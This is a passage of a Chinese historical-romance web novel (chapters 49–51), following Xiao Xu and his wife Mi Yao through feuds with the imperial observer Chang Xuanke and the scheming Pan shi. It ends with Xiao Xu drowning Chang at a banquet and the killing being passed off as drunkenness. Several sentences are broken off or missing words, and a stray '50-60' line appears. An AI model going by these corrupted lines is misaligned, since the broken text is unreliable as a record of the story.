“马家人在益州消失无踪,赵家四房的郎君看着萧翼就绕着走,这般还不够?再者若不是你冒出来,我本就是他们最亲近的人。”
至于亲近的原因不是因为他好,只是他们无从选择第二个亲人。
“这么说还是我的错咯?”
宓瑶无视萧欻言语中他事后追究做的补偿,下了马车跟他在二门一拍两散,她提着裙子往正房走,“别跟着我。”
她都这般说了,萧欻自然没随在她身后行走。
见着她与婢女提着的灯盏全都隐没在暗色之中,萧欻依然没动。
片刻他去了马厩牵马,出了府邸在路道上奔驰半晌,才散去缩在窄小马车里的憋闷。
宓瑶的态度让他觉得怪异,明明他自个想的清楚他对她是男人喜欢美人的色.欲与情爱无关,但她与那个姜老头都成了故弄玄虚的半仙,笃定了他对她有意,愿意容她忍她。
快走到了正房,宓瑶才敢回头,看了眼身后确定萧欻没有跟上来。
“夫人要去接镇使吗?”
见宓瑶回头,侍女以为她是气够了后悔先走。
谁知宓瑶听到连忙摆手:“他自个府邸,有什么好接的。”
等到回屋洗漱完躺在床上,宓瑶脑海里还漂浮着萧欻暗流涌动的眼眸,平日觉得他喜怒不形于色,但沾上感情他怎么就那么明显。
若是两人在亲吻或是紧紧缠在一块,他那眼神还能解释是因为色/欲,但两人说着他该发怒的正经事,他却那般看着她。
凤眸里写满了不受控的感情。
吓得她立马找可以跟他争吵的话题逃过,就怕晚一步,他的感情就从眼睛溢了出来。
希望今夜过后他能冷静下来,把他冷漠拒人于千里之外,对女人不屑一顾的态度找回来,这般她仗着他对她情窦初开的感情逗弄他才有趣。
若是他放下了面上的自傲,没了进进退退的拉扯,只有直接的进攻,那可就没意思了。
因为他就是把姿态放的再低,她也不会喜欢他。
第49章 第四十九章【VIP】
在萧欻身上吃了憋,常旋克辗转难眠了一夜,他知晓萧欻的无状告到赵天赫那儿最能让萧欻得到教训,但他堂堂君子不屑于小家子气的告状行径,所以隔日他没去节度使府邸,而是换上了朱紫色孔雀纹官服,头戴金玉蝉进贤冠,带人去了萧欻当值的校所要去阅兵。
“九弟太过莽撞,哪怕常旋克言辞欠妥,但常旋克是圣上派到益州的观察使,九弟怎么能为一时意气就砍下常旋克随侍的手指。”
对萧欻如今地位不满的不止一人,吴立平一开口,立刻有人接上:“原本应付常旋克一段时日就能把他打发离开,萧镇使这般反倒递给了常旋克把柄,给了常旋克插手益州兵马的借口。”
“若是让观察使探出益州城内军备深浅,可是一件麻烦事。”
常家的族谱在上京世家中排不上号,但常旋克的嫡亲姐姐是大兴帝宠爱的贵妃。
常贵妃育有两位皇子,两位皇子的年岁不大,一位还尚在襁褓中喝奶,可耐不住常贵妃受宠,从去年开始上京就流传着大兴帝打算废除太子,立常贵妃所诞的十五皇子为储君的风声。
哪怕如今大兴藩镇割据,各州府以节度使独大,但只要一日不把反心摆在明面上,各州面上都得安守本分,需听大兴帝的旨意行事。
一开年大兴帝就派常旋克带兵三千来剑南巡查,益州官员见赵天赫待常旋克客气,想着赵天赫沉疴难愈,没有亲子接班,这些年手段越来越温和,怕是没了英雄抱负。
这时候萧欻冒出对上常旋克,看不惯萧欻的把他当做靶子,摸不透的赵天赫心思的则是添油加火,想用萧欻探出赵天赫到底是打算向朝廷示弱表忠,还是另有谋算。
“欻儿的确冒失,只看他之后如何应对罢。”
赵天赫喜怒不形于色,但言语间却是偏向了萧欻有错。
闻言,吴立平面上一喜,立即道:“如今当务之急是让九弟与常察使致歉,让常察使无怒可发,就是不知按着九弟的脾气,他能不能以大局为重,忍一时意气。”
“常旋克不是言语欠妥,而是出言不逊侮辱萧镇使的夫人,若是这也要忍,哪还有一点男儿气概?!”
听到吴立平越说越过,像是要强压着萧欻的头颅,让萧欻给常旋克低头,岳晋听不下去出言驳道。
“不分场合的嚣张傲气叫鲁莽,与男儿气概有什么关系!三弟出身寒素,只有匹夫之勇却无大局观念,若是任由他胡乱行事,害得是整个益州!”
吴立平的话激起了在场武官的怒气,他说的头头是道,不过是吃了败仗,没了兵将可领就挖出了祖上三代有那么一代读过书,自顾自的把自己归于文官,在这儿夸夸其谈。
两拨人就那么吵了起来,高坐中堂的赵天赫也不管,只是等到侍卫来报,说常旋克在校场吃了亏,才有了些反应,点头同意了为常旋克和萧欻办一场和解宴。
此刻灰头土脸的常旋克还不知益州不少官员站在他这边,正在赵天赫面前极力述说他的重要性,他恶狠狠盯着萧欻,若不是惦记着以大局为重,这会他就想下令让城外的三千兵马破城,把萧欻的头颅斩下示威。
“吾是陛下钦派的观察使,萧欻你好大的胆子,竟不配合吾查办公务!”
常旋克今日带着衙前兵马使一众,想要在萧欻手上讨回颜面,谁晓得萧欻吃了熊心豹子胆,昨日热血下头后没有反省竟然态度更为恶劣。
他带令而来,萧欻却连军所的大门都不为他打开,公然违抗他要阅兵的命令。
而萧欻手下兵将也全是兵痞,见着他不行礼不说,反倒污言秽语挑衅他身边的强将。
等到他反应过来,场面已经乱成了一锅粥,他带来的团兵与萧欻手下的兵将打了起来,他也被连累其中,挨了几记拳脚。
“我何曾不配合常察使。”
萧欻让开了身子,露出手持兵械的兵将,“常察使要阅兵将,只管看就是。”
“我要进军所阅兵!”
面对常旋克的怒吼,萧欻眉头轻耸:“我已经说了,常察使想做什么便做。”
是他不想随心所欲?
常旋克看着面前这些满身煞气的兵痞,他确定他只要敢往前一步,他们就会毫不留手地朝他进攻。
他腰上隐隐作痛的伤痕提醒他,萧欻会因为他的身份,面上顾忌他三分,而这些贱命一条的小兵,脑子里全是稻草,根本不在意伤了他的后果。
“萧欻,你好得很!”
常旋克咬牙切齿,“我是奉命办事,你却刻意刁难,你以度使收为养子,真觉得自个是个人物了,你不过是赵节度使的一条狗,!”
他的话落音,不等萧欻开口,停。
“你们这群蠢货不要命了,你们可知道我是谁!”
相卷入其中,这会那些兵将的拳脚是直朝他而来。
哪怕身边有人拦下,常旋头,依然慌了神,“我是是陛下钦定的观察使,是贵妃娘娘的亲弟弟,若是你们伤了我,
“我们管你是谁,这是益州的地界,我们是剑南军,你侮辱我们将军,就如同侮辱我们!”
说话那人一拳狠狠地砸在了常旋克的眼上,见他吃痛捂着眼睛哀嚎喊叫救命,不屑道,“就那么个娘们唧唧的软蛋,还想进我们军所,瞧我们练兵,我呸!”
黏腻的液体挂在脸上,常旋克半天才反应过来他脸上的湿润是兵痞的浓痰,他何曾受过这般的侮辱,当即便失声狂嚎了起来:“萧欻你敢如此辱我,你且看赵节度使能不能保得住你,往后你就是跪下舔我鞋底,我常旋克也不会饶过你。”
萧欻扯了扯嘴角,问道:“常察使的头扬那么高,是怕浓痰下落太慢,尝不到其中滋味?”
冷声的讥讽让常旋克意识到他现在是何等腌臜,他不再抛出狠话,而是掩面让长随护送他离去。
只是他跑得飞快,依然没逃过屁股被石子重击。
常旋克跌倒在高马之下,周围混乱,他看不到萧欻身在何处,但他能肯定萧欻此时一定在嚣张地欣赏他的丑态,那飞向他的石子,应当就是萧欻的杰作。
这辈子他第一次如此憎恨一个人,恨不得啖其肉,寝其皮,将其挫骨扬灰。
*
萧欻恣睢无忌的行径没多久就传遍了益州城。
吴立平听闻萧欻对常旋克如此无礼,更确定萧欻娶了虞女以后就失了智。
以前萧欻沉默寡言,从未听他与什么人交好,也未曾听他与什么人交恶。
他就像是一把没感情的利刃,赵天赫用他时他就锐利,不用他时他便黯淡无光。
萧欻的一切变化都发生在娶了虞女之后,再美也不过是一个可以随意替换女人罢了,萧欻却因为虞女屡次给他没脸。
想到那日萧欻打上门,他怕引起事端,只能叫出自己的发妻训斥赔罪,吴立平便气的五脏生烟。
那日之后他就想萧欻纵容虞女横行霸道,迟早会栽在女人身上,如今看来他想的没错。
这才多久,他就因为争一时意气,成了常旋克的生死大敌。
他是什么出身,常旋克是什么出身,真是鸡蛋碰石头,昏了头了。
觉着萧欻昏头的不止吴立平一人,知晓未来的潘氏也想不明白,萧欻怎么有了那么大的变化。
她上一世忙着挑选有霸主之相的雄才,没有注意到萧欻未起事前的模样,但她记得常旋克在益州待了许久。
甚至萧欻透过常旋克,还与其身后的常贵妃有过合作。
这些事她都记得清清楚楚,而记得越清晰,她便越想冲到宓瑶面前骂她愚蠢。
她已经知道宓瑶同她一样都是重来一世的幸运儿,但相比她宓瑶就是个运气好的美丽废物。
宓瑶晓得萧欻未来会雄霸一方,只知道不再伤害萧家的三个孩子,其他时刻却依然无脑。
而她无脑就算了,竟然还把萧欻魅惑的不知天地为何物。
若是可以选择,潘氏只想看宓瑶的笑话,但她上一世押错了宝,就怕她利用已知弃了萧欻选择旁人,又出什么差错坏了再来一世的幸运。
所以她不止心中骂了宓瑶愚蠢,坐立不安了一日,她还冲到萧府开口劝宓瑶长点脑子。
“虞妹妹,你可知九哥为了你做了多大的错事?常察使是贵妃的胞弟,是陛下钦派到益州的巡查官,*连父君都要礼让他三分,九哥却因为你得罪了常察使,你可知道这是多大的事!”
军所的冲突没人看到萧欻动手,但他不动手也无用,因为动手的全是他的手下,赵天赫已经向常旋克承诺要给常旋克一个交代。
这般情况下,萧欻若是服软这事还有回转的出路,若是萧欻强硬,为了平息常旋克的怒气,萧欻必然会被赵天赫处罚。
这一罚父子俩的关系怎么会不生分。
“因为你九哥如今就像是个莽撞的愣头青,虞妹妹你若是聪明就该晓得你是依附九哥而活,他若是失了父君的信任,你又能落得什么好。”
潘氏眉头紧锁,若是不晓得的还以为她悲天悯人的菩萨,舍己为人将慈悲到处播散,自个亲生儿子留在马家不管,却来萧家教宓瑶做人。
听到潘氏下帖子拜会,宓瑶就知道没好事,但因为潘氏拿的是节度使府邸的拜帖,她还是让门房放了人。
两人才打照面,宓瑶还未开口,潘氏就喋喋不休地开始给她上课。
触到潘氏眼中的焦虑,宓瑶倒是能明白潘氏为何狂吠不停。
“你嫉妒我?”
潘氏没想到宓瑶听她说了半晌,竟会得出如此愚蠢的结论,潘氏面色难看:“虞妹妹难道觉得女娘之间只有嫉妒攀比?为何非觉得我会跟你比较,同为女人我只是想帮你。”
“我不觉着女人之间只有嫉妒与攀比,但你对我该是只有恨不得取而代之。”
“虞妹妹你想错了,我若是恨你,就会看你犯错连累九哥,最后遭受九哥厌恶,而不会上门提醒你让你为九哥着想。得罪常旋克对你真的没有好处,虞妹妹你若是想有富贵前途,就去常察使面前服个软,替九哥转圜一二。”
若不是不想让宓瑶知道她也是重生,她真想狠狠地骂醒面前的女人,教她知道她有多蠢笨。
只会倚姣作媚的女人是最蠢的女人,没有独属于自己野心,只想靠着男人一时的宠爱度日,却不知道人心易变,韶华易老,迟早有一日男人的宠爱会消失,那时曾经再美的女人也只剩一张发皱的面皮。
可惜像她这般清醒聪慧的女子太少,世上多的是宓瑶这般叫不醒的蠢人。
“你会觉着男人之间争强好斗都是因为女人,那便是在嫉恨我。”
宓瑶瞧着潘氏的神色,捂着嘴懒洋洋地打了个哈欠,“潘夫人,你要晓得不是露出几个众人皆醉我独醒的表情,就代表你真比旁人聪明,我一瞧你就瞧得出你是那种算不得多有脑子,但偏偏心比天高想得太多,所以自个骗自个与众不同的人。”
既然潘氏非要冲到她面前找不自在,宓瑶不客气地为她下了注解。
“实际上你既不聪慧也不大度,你就是个普通不过,脑子里满是美好幻想,瞧见旁人不如你设想行动,就无能狂怒的肤浅恶人。”
宓瑶慢条斯理地朝潘氏放冷箭,看着潘氏脸上的笑容无法保持,面色僵硬的像是石头,才觉得顺眼了不少。
“嫉妒吧?我轻而易举就能成为男人之间的祸水,让你求而不得放在神龛上供奉的萧欻,为我变成了没有脑子的愣头青。”
最后一个字落音,宓瑶余光捕捉到一抹玄色,抬眸一看果真是面色冷硬的萧欻。
潘氏随着宓瑶的目光往后看,看到萧欻就是一喜。
萧欻站在门槛外头,面色沉静不知道听到了多少。
而不管他有没有听到宓瑶前头嚣张无理的言语,后头一句他铁定听到了。
潘氏面露委屈,眸光润泽地看向萧欻:“九哥莫要跟虞妹妹生气,我来不是为了让你们两人不合,我只是担忧九哥你一时冲动犯下不该犯的大错。”
见到萧欻抬步踏进门槛,朝宓瑶的方向而去,潘氏感受到他身上的戾气,内心不免激动起来,觉着萧欻是要对宓瑶出手。
不住接着道:“九哥有大志,需知常旋克日后对九哥的用处,若是为了一些小事结怨,实在太不值得,而且九哥如此冲动,父君不免对九哥失望……”
常旋克这个名字宓瑶没什么印象,但事后听人说起常旋克的背景,她倒是想起书本里有那么个角色。
书中没有常旋克色迷心窍对她示好这段,且萧欻还与常旋克有过短暂的合作,两人算不上友人,但也不是见面就要见血的仇敌。
想起了这一段她也没放在心上,谁挡得住公孔雀开屏,男人被牛子控制头脑是他们猥琐,她没恶心吐出来都算是肠胃好,就是癫了她也不会随潘氏的话,把错误怪在自己头上。
对上萧欻幽深的眼眸,宓瑶哼了声,嘴巴微撅:“萧郎她欺负我,她一进来就骂我数落我,把你的决定都当做被我操控的身不由己,把你当做没脑子的傻子。”
见宓瑶被萧欻抓到不堪的嘴脸还能撒娇狡辩,潘氏不由佩服起她的无脑。
自作聪明的女人不少,但宓瑶这种堪称极品。
而就在潘氏期待萧欻会抬起手狠狠掌掴宓瑶,让宓瑶闭嘴时,就见萧欻站在宓瑶身边,转身冷漠的眼眸对向了她。
潘氏舒展的眉眼一僵,难以置信她从萧欻眼中读出来的东西。
萧欻是疯了不成,迷恋女人的容貌也该有个度,他走火入魔的程度已经跟上一世的霸主分裂成了两个人。
要是有法子她都想让萧欻同她一样拥有上一世的记忆,好知晓他上一世是多恨虞女,是如何一刀刀把虞女剐成白骨。
“九哥……”
潘氏哀戚地叫了声,“你如何才能清醒过来?我都是为你好,虞氏就如同烽火戏诸侯的褒姒,她心中没你也不爱你,她不过是想用你来证明她美貌值得被所有男人争抢追捧。”
“我的美貌的确值得所有男人追捧。”
宓瑶软绵绵地往萧欻身上一趴,“娘子的美貌,相公的荣耀。”
“若非父君命令,别再借节度使府的帖子行事,潘氏,你若知趣,我们便是见面三分情的养兄妹,若是你在这般没轻没重地置喙我的处事,我厌恶所有在我面前碍眼的跳梁小丑。”
潘氏刚进萧府大门,宓瑶就去差人叫了他。
她没见潘氏就能肯定潘氏是因他而来,该由他来解决。
而听下来潘氏那些高高在上的关怀,还真是冲他而来。
潘氏因为萧欻的冷漠,脸色霎然雪白。
哪怕她接近萧欻是因为知道萧欻往后会成为时局的赢家,但她跟宓瑶不一样,她对萧欻有实打实的关心,是真不愿他为了宓瑶毁了自个。
“难道我们曾经的情分什么都不算,你是因为我选了马松平而气我是不是?那时我只是气你木头,比起他来我一直都更心仪你。”
不愿成为萧欻抉择中落选的那一个,随着清泪潸然而下,潘氏开始了忆曾经。
“可我从未心仪过你。”
潘氏的纠缠让萧欻寒意料峭的眉梢升起了厌烦,“你觉得我木头,不正代表我对你无意。”
萧欻的话让潘氏想起了萧欻为了宓瑶与常旋克为敌,陡然清醒,她与萧欻不是错过,而是萧欻自始至终只是顺着赵天赫的意思选择了她。
当年他无论娶没娶到她都不会觉着兴奋或是可惜。
不,不是这样!
意识到自己对萧欻来说什么都不算,潘氏立刻否认了这个想法,她与宓瑶相差的不过是一时的运气,如果当初是她嫁给萧欻,她有把握让萧欻像对宓瑶一般对她。
她错的不过是时机。
见潘氏面上又升起痴缠,萧欻倏然意识到了常旋克的优点,若是换做常旋克,他现在就能动刀见血,而不是用言语啰嗦。
“濮青,送客。”
“潘夫人请吧。”
濮青随叫随到,胳膊一伸就盯着潘氏的双脚,大有她不立即迈步他就将她扛出萧府的架势。
等到花厅没了多余的人,萧欻垂眸看向了因为站累,早从他怀里抽身而出,瘫坐在椅子上昏昏欲睡的宓瑶。
“过两日父君办宴,你与我同去。”
萧欻此刻下达指令的语调与方才拒绝潘氏的郎心似铁没什么区别。
宓瑶头刚点下,目光里就只剩了萧欻修长挺拔的背影。
感受到他背影散发的孤绝,宓瑶眨了眨眼,怀疑两日后的宴会是鸿门宴。
他方才对潘氏的冷若冰霜完全是为了麻痹她,他开够屏了这会儿清醒过来,觉着还是事业伙伴重要,要把她送给常旋克赔罪。
宓瑶正想着就见已经踏出门槛的萧欻倏然回头,目光直冲冲地撞入她散漫的视野。
“虞宓瑶,你与我而言的确只是一件增添光彩的美貌物件,有你可以,没你也无谓。”
冰冷倨傲的神色与睥睨无尘的目光让宓瑶方才的恐怖猜想一扫而空。
只能说多说多错,神秘感被破坏,傲慢就成了男人脆弱自尊的保护色。
第50章 第五十章【VIP】
“今日怎么装扮的如此漂亮?就像蓬莱仙山的神女似的。”
虞少阳寻宓瑶有话要说,但一见着她人就被她光彩夺目的模样震的愣了愣,满肚子的话抛到脑后,开口就是捧场的夸奖,“嫮嫮平日里你多去摸摸你嫂子的肚子,让你未来的侄女五分像你,五分随你嫂子。”
一半像她一半像甄婧?
宓瑶听着好笑:“阿兄的孩子不必像阿兄?”
“我们是同胞兄妹,像你不是就是像我了。”
听姜大夫说甄婧这一胎应当是女儿,虞少阳就想着孩子的模样一定随甄婧与宓瑶,若是能取尽两人的慧巧定然钟灵毓秀,万中无一。
“既然阿兄都那么说了,那往后我一定常去摸嫂子肚子,阿兄跟嫂子也别急着找宅子摆出萧府,等到嫂子生下孩子再说,免得我想摸嫂子肚子都不方便。”
“这事以后再说,反正现在我是不放心搬的。”
虞少阳不想打扰妹妹一家,这段时间用心寻了几处宅子,原本之前就打算搬,正巧遇到了萧欻与宓瑶冷战,想着给夫妻俩解决了矛盾再走就没搬。
而上元节后又来了常旋克找麻烦,虞少阳就更放心不下宓瑶,也就推迟了搬家的事宜。
想到糟心的常旋克,虞少阳恨不得自己也学了功夫,可以像萧欻那般让常旋克吃一顿排头。
“今个你跟萧欻去节度使府邸,你可曾询问萧欻,他是如何想的?”
虞少阳来益州太短,虽然赵天赫有意培养他,但他离益州的核心权力圈还有一段距离,今日为了安抚常旋克设的宴会他没有收到请帖。
他不信外面的风言风语,说什么萧欻怕了常旋克,要把宓瑶送给常旋克赔罪。
但因为他没办法去宴会上盯着常旋克,所以还是止不住的心慌意乱,他过来一是与宓瑶通气,二是看看她如何想,如果她心不安他少不得安抚她给她底气。
“阿兄难不成信了外头的话,觉着郎君会把我送人?”
看出虞少阳的焦虑,宓瑶调侃道。
这次去节度使府邸在她看来就跟上次去梅园差不多。
她没什么兴趣出门,但却有一大堆人期待着她的出场。
为了不辜负他们的万众瞩目,她拿出了那日在梅园一般的主角姿态,从发丝到脚趾都做了一遍精细保养,在浴池各种药材涂抹了半日,再加上用蒸腾的热气排毒,她觉着自个又白了半度。
“我当然信任萧欻不是狼心狗肺的混账,但就怕常旋克强势,让你们俩吃亏……”
虞少阳说着,看向宓瑶身上流光溢彩的留仙裙,“不若今日换个深色的裙子,就不穿这个了?”
妹妹爱美打扮的赏心悦目没错,但就怕太赏心悦目,让常旋克更是垂涎。
他是京官比其他人更清楚常家人的如日中天,他信萧欻的人品,觉着萧欻会极力保护宓瑶,但他摸不透赵天赫的想法,怕赵天赫忌惮常贵妃,强迫萧欻牺牲宓瑶。
但赵天赫是萧欻的养父,又是整个剑南的掌权者,若是胆量气魄如此小家,就不会从各地挖调人才壮其势力。
只能说他是关心则乱,一边信萧欻有张狂的底气,一边又担忧有什么变故。
“阿兄愁眉不展的样子可不好看。”
宓瑶笑道,“若是萧欻是个怂货,我就是身披抹布,该因为他会受的侮辱还是会因他受辱,既然如此我何不光彩照人,以自己顺心为主。”
看出宓瑶是一点都不紧张,并不把宴会当回事,虞少阳也跟着镇定。
“我身为兄长,气度还不如你。”
他原本还想宓瑶会不会因为外面的传言而自责愧疚,觉得一切错都在她,此刻听她清醒的把问题放在萧欻身上。
直言她是因为萧欻受罪,他不止放下了心,还因她澄明宽广的心境而惊讶,再次确定自个的妹妹已经长大,与以往完全不同了。
“嫮嫮放心,我就在节度使府外面守着,虞家再日落西山,虞家的女郎也不会任人践踏。”
“有阿兄在,我心安得很。”
宓瑶面上的脸一直到见着萧欻才淡了下来。
相比于她的隆重登场,萧欻的打扮也比寻常要体面许多。
额前的发丝梳拢成髻,露出清晰的美人尖,头戴鎏金嵌翠玉鹖冠,冠上挺括的鹖羽高跃,给他深邃冷峻的五官添了丝霸道的野性。
没有多看,扫了他一眼就直接上了马车。
虞少阳问萧欻有没有跟她通气,她没有正面回答,是因为萧欻前两日跟她说了赴宴后,就再也没与她说过什么话。
他这个没什么自制力却喜欢故作傲慢的公孔雀,既不安抚她,也没有制止外面的风言风语,甚至她觉得他因为控制不了对她的感情,所以恶意的放纵外面的谣言,借此来吓她,让她惊慌失措,在不安中更加的依赖他讨好他……
他自己都说了她为了不生孩子无所谓短命,他越站在高处得意的俯视她,她就离他越远。
反正动心的又不是她,瞧
哪怕他真没品到把她送给常旋克,她也无所谓,他尚未起势,而她清楚之后的大方向剧情发展。
大不了她放弃一时的享受,用她短命的下半生给他添点堵,若是运气好说
宓瑶的漠视萧欻自然感觉到了。
翻身上马后他睨了眼轩窗紧闭的马车,就是隔着木片,他也能感觉到宓瑶身上散发的不悦。
明明穿红戴绿,白皙无暇的面上还抹了一层淡淡的绯色添艳,看向他的眸光却如同覆盖了薄冰的湖水。
就是之前她认为他利用她铲除赵五郎,也未曾用这种目光看他。
猜想宓瑶这般姿态是又有什么花招,萧欻收回思绪,只当她的冷眼落了空,不打算费心去思虑她为何冷脸。
一路到了节度使府邸,马车前府前,萧欻翻身下马掀开车上的卷帘、
宓瑶靠在小几上闭目养神,听到动静睁眼,杏眼原本是水汽弥漫,懵懂清澈,但眸光一触到是他,眼中便生了尖锐的冰凌。
他看她,她就回看他,平日里话多到合不上的嘴此刻紧紧闭着,像是再也不想张嘴主动与他说上一句。
萧欻的眉心在他未曾察觉时多了川纹。
他想甩下车帘,任由宓瑶故作冷漠,但嘴巴却不听使唤,盯着她道:“不要与我说,你信了流言蜚语,觉得我把你送给常旋克?”
萧欻嗓音低沉冷硬,仿佛宓瑶只要应一声是,他的怒火就会压抑不住把她烧成灰烬。
他的问话方才宓瑶反问过虞少阳,言辞间她是在劝虞少阳安心,要信任萧欻。
而这会儿宓瑶面对萧欻本人,她移开视线:“我何曾说过我相信流言蜚语。”
宓瑶的声线天生软绵,萧欻还以为她无论何时,不管生气还是愉悦,嗓音都是软糯。
而如今听来再柔和的音线不带感情说话,都会显得冷漠疏离。
萧欻盯着她看了半晌,等到后头有马车过来,节度使府邸的下人提醒入府,他才放下了车帘。
今日的宴会是常旋克的欢迎宴,请的男客居多,女席人少只堪堪凑了一桌。
男席赵天赫坐镇,东一席是常旋克的位置,而东二则是安排了萧欻。
女眷这边则是直接以常旋克的夫人为主,方氏与潘氏在旁作陪。
两边宴席隔了一道假山,只要其中一边稍微大声,便能听到对方在聊什么。
宓瑶才下回廊,就听到了吴立平叫萧欻的名字:“九弟终于到了,快过来与常察使喝一杯。”
话音落下,就听到常旋克冷呵:“我可喝不下萧镇使敬的酒!”
“嫮嫮,我们一块坐。”
鄢妘瞧见宓瑶,上前挽着她低声道。
今日的主角是常旋克,各家女眷来得少,她夫婿岳晋劝她不要掺和,但她想到宓瑶一定会过来,想到她若是不来,就剩宓瑶面对常家女眷,还是说服了岳晋带她。
“这位便是害我家夫君与萧镇使产生误会的虞夫人?”
常旋克夫人是个相貌精致的美人,鹅脸樱桃唇,年岁看着跟常旋克相当,有二十三四左右,生了一双三白眼,眼珠子靠上被眼皮子遮住一半,看人自带三分狠意。
她上下打量宓瑶,没有掩饰自个的敌意:“不过如此。”
听到常夫人挑剔的评述,吃过宓瑶亏的女眷心头都舒了口气,特别是被宓瑶骂哭的吴立平夫人曾氏,眼中充满了大仇得报的爽快。
“九弟妹愣着干什么,还不快来给常夫人问安。”
鄢妘听着皱眉:“常察使跟萧镇使同品阶,嫮嫮为何要给常夫人问安。”
尹卿馨一到节度府就被女眷们巴结,听曾氏她们说虞宓瑶性子乖张,不受各家夫人欢迎。
还以为今个能是针对宓瑶的审判大会,谁知道冒出了个鄢妘凑到宓瑶面前维护。
“常夫人怎么一直瞧着我,虽然觉着常夫人脑子没病,不会觉着看多了美人自个就能多美几分,但以防万一我还是得提醒夫人,一时意气说了违心话,不会让人觉着你架子摆的高,高人一等,只会让人觉着你眼睛有毛病,嫉妒天仙嫉妒到眼红失明,只剩一肚子胡说八道。”
宓瑶说着,瞧向尹卿馨身旁拧帕子的曾氏。
“这一点,常夫人可以问问我的三嫂,她这方面有经验。”
见宓瑶巧笑嫣兮,鄢妘提着的那口气终于松下,果真不管什么时候,宓瑶不会变成让人随意践踏的懦弱女郎。
“你好生无礼——”
尹卿馨被宓瑶挤兑的面红耳热,拍桌站起正想发怒,就听到假山那边传来比她更大的声响:“早知今日何必当初,萧镇使你拿那么大的酒缸,是想喝死自己给我赔罪不成?”
“这是应该的,九弟管束属下不严,害常察使受伤,别说一坛酒赔罪,就是三坛他都该喝。”
男席那边的对话让女席这边寂静了片刻,尹卿馨脸上的盛怒变为满溢的笑容。
女人的地位如何权看自家男人是否排场,萧欻既然在她夫君面前卑躬屈膝,宓瑶又算得了什么。
她说的那些话,在萧欻的示弱下不止毫无杀伤力反倒招人嘲笑。
尹卿馨没坐下,轻蔑地俯视宓瑶,开口道:“你现在向我赔罪,若是态度足够诚恳,我大人大量,说不准会原谅你的张狂无状。”
50-60
第51章 第五十一章【VIP】
宓瑶的神色没有因为一墙之隔的吵闹产生什么变化,听到尹卿馨的话,她抬眸回道:“这会儿是谁在张狂无状?你趾高气扬的小人嘴脸,哪还有一点贵女的气度。”
“你!”
“哦,抱歉是我冒失了。”
宓瑶想到什么手指搭唇,比起捂嘴更像是在展示自个如青葱般修长的手指,加上指尖猩红,瞧着就让人觉得不安焦躁。
而被各类目光注视的宓瑶,道完歉冁然一笑:“我单想着常观察使的家世出众,娶的应该是贵女,就那么给常夫人下了定论,这般实在太武断,说不定常夫人你出身市井,擅长的就是得意忘形,作威作福。”
宓瑶话说完,尹卿馨心头刚得的那点舒服立刻烟消云散,气得眼眶都撑大了一圈,胸膛快速起伏,气得抬手要掌掴宓瑶。
常家怎么可能让精心培养的子弟娶普通人家的女儿,尹卿馨的出身不低,论起来尹家还比虞家高了一层。
尹卿馨从小到大从未像此刻般被人指着骂,若这里是上京,宓瑶早就让她拖下去缝了嘴巴打到死为止。
尹卿馨的巴掌被宓瑶身边的侍女拦下,宓瑶坐着没动,仰着头靠在玫瑰椅上,欣赏尹卿馨暴跳如雷的模样:“说不过就动手,未开化的野人才能这般野蛮粗鲁。”
“虞氏你住嘴,节度使把你叫来,你以为是因为什么,这会你嘴上越得意,等会你哭的时候我们只会觉得罪有应得,不会帮你求情。”
方氏见宓瑶越说越过,尹卿馨摇摇欲坠像是要被气昏过去,连忙开口帮着尹卿馨怼宓瑶。
今日的酒宴,其实几位赵家的夫人陪尹卿馨这位娇客就足够。
但赵天赫特意交代萧欻带上宓瑶,这就让人深思了。
晓得内情的知道萧欻跟常旋克的冲突,是因为常旋克没轻没重当着萧欻的面给宓瑶示好。
若是想让萧欻与常旋克化解恩怨,宓瑶完全不必在场,她在反而会提醒两人是为何结怨。
所以方氏与潘氏知道宓瑶要来,想法都是赵天赫想笼络常旋克,让宓瑶当两个男人之间的承祸者,把宓瑶送给常旋克不至于,但铁定有意让宓瑶低头认错揽责。
也不知萧欻怎么跟宓瑶交代,她一来没摆低姿态,反倒是把尹卿馨气的一佛出世二佛涅槃。
“给常夫人道歉!”
方氏拿出了长辈姿态,可惜宓瑶没看进眼里。
“方姨怎么也染上了是非不分的坏毛病,我如此委屈,该是谁跟谁道歉。”
“你指着我骂,你委屈什么!”
看见宓瑶脸上故作娇柔的神色,尹卿馨更是恼怒,宓瑶怎么好意思说自个委屈,她那张嘴巴就如同淬了毒,难听话一句接一句,死人都能被她气活了。
“虞夫人,萧镇使请你过去。”
尹卿馨与方氏正思索着说什么能治住宓瑶,就见仆人来唤宓瑶。
这突然的变故,让她们眼眸一亮,宓瑶扫了一圈,察觉曾氏在仆人还没开口前,看着人眸光就先亮了起来,猜到晓得了这人应该是吴立平派来,借着萧欻的名头,让她去男席上添乱。
“别去。”
鄢妘皱眉挽着宓瑶,一是觉得这仆人可疑,二是就算真是萧欻叫宓瑶过去,那也不会是好事。
“不必担心,这儿我待腻了。”
怼人这个事情,怼两句有意思,要不停战斗那就无聊了。
所以知晓不是萧欻唤她,宓瑶依然站起,想要快些结束这一切。
走过假山,男席的声响反而安静了下来。
萧欻和常旋克同坐一席,旁侧是呆若木鸡,被侍卫架着才勉强没有腿软摔地的吴立平。
因为有摆设挡着,宓瑶刚入场只能看到几人的身影,等到往前走几步,就明白了场内的寂静是为了什么。
萧欻单手压着常旋克的头颅,把他压入了酒壶之中,而且这个动作应该已经维持片刻,不然常旋克不会半点挣扎都无,像是已经没了气。
没想到这场宴席还真是鸿门宴,只是鸿门的不是她,而是常旋克。
萧欻与赵天赫应该提前通过气,场内满是肃杀的侍卫,常旋克带来的官员全都被捂嘴绑住,其他人噤若寒蝉,都在等着这一场虐杀的结束。
宓瑶自问她还算镇定,察觉到周围的寂静就踮起脚尖走路,没有发出什么吸引人的动静。
直地朝她看来。
满是戾气了一下,但下一刻眼底的猩红更甚,像是进食的野兽看到了更感兴趣的事物,腾不开手便用眸光为猎物
读出了凤眸中的情绪,宓瑶下意识往后退了半步,方才因为半。
萧欻收回视线,同酒坛的常旋克。
“禀父君,常观察使不胜酒力,却不知深浅狂饮数杯,终酗酒而猝。”
“如此豪杰,真是可惜了。”赵天赫叹了口气,“文司马速写丧报,上报圣上这一噩耗。”
“属下听命。”
“接风宴变成了丧宴,让厨房准备柚子水给各位大人去去晦气,欻儿你去把手洗净莫让晦气沾身。”
萧欻谢过赵天赫便走到了宓瑶面前,打量了她的神色,不见惶恐才开口道:“怎么过来了?”
“你三哥派人唤我,想让我瞧瞧你是如何给常旋克赔罪。”
